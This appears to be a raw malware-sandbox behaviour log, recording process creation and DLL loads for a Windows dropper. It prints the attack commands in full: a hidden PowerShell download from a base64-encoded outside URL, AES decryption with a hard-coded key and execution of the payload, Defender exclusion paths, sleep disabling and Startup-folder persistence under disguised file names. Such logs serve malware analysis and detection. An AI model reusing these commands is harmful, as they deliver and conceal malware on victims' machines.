Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\downloaded_file.exe "C:\Users\user\AppData\Local\Temp\downloaded_file.exe"
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe'
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\EXPLORER.EXE {DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe "C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe" ""
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AutoRun_WindosCPUsystem.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe "C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe"
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.bat C:\Users\user\Desktop\file.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net session	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "$key = [System.Text.Encoding]::UTF8.GetBytes('blMgb+WrfPrXMFxK7ymKPM3SVHUAYPt9');" "$iv = [System.Text.Encoding]::UTF8.GetBytes('5t9nsUPo0cA/tUjH');" "$aes = [System.Security.Cryptography.Aes]::Create();" "$aes.Key = $key; $aes.IV = $iv;" "$decryptor = $aes.CreateDecryptor();" "$inputFile = 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin';" "$encryptedBytes = [System.IO.File]::ReadAllBytes($inputFile);" "$decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length);" "$outputFile = 'C:\Users\user\AppData\Local\Temp\downloaded_file.exe';" "[System.IO.File]::WriteAllBytes($outputFile, $decryptedBytes);"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\downloaded_file.exe "C:\Users\user\AppData\Local\Temp\downloaded_file.exe"	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 session	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe'	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\EXPLORER.EXE {DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe "C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe" ""	Jump to behavior
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe "C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe"
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
